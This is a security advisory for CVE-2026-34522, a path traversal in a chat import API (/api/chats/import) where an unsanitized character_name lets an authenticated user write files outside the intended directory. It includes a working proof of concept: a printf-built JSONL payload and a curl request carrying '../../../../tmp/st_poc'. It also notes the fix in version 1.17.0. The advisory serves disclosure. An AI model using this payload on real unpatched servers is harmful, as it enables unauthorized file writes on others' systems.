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CVE-2026-34522 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.
character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.
Evidence:
character_name used in output filename:Example payload:
character_name=../../../../tmp/st_pocThis causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).
Prerequisites:
cookie.txt)$TOKEN)Prepare payload:
printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl
Trigger arbitrary write:
curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
-F "avatar=@/tmp/poc.jsonl" \
-F "file_type=jsonl" \
-F "avatar_url=a.png" \
-F "character_name=../../../../tmp/st_poc" \
-F "user_name=u" \
http://TARGET:8000/api/chats/import
Observed result:
/tmp/st_poc - <timestamp> imported.jsonlThe issue was addressed in version 1.17.0
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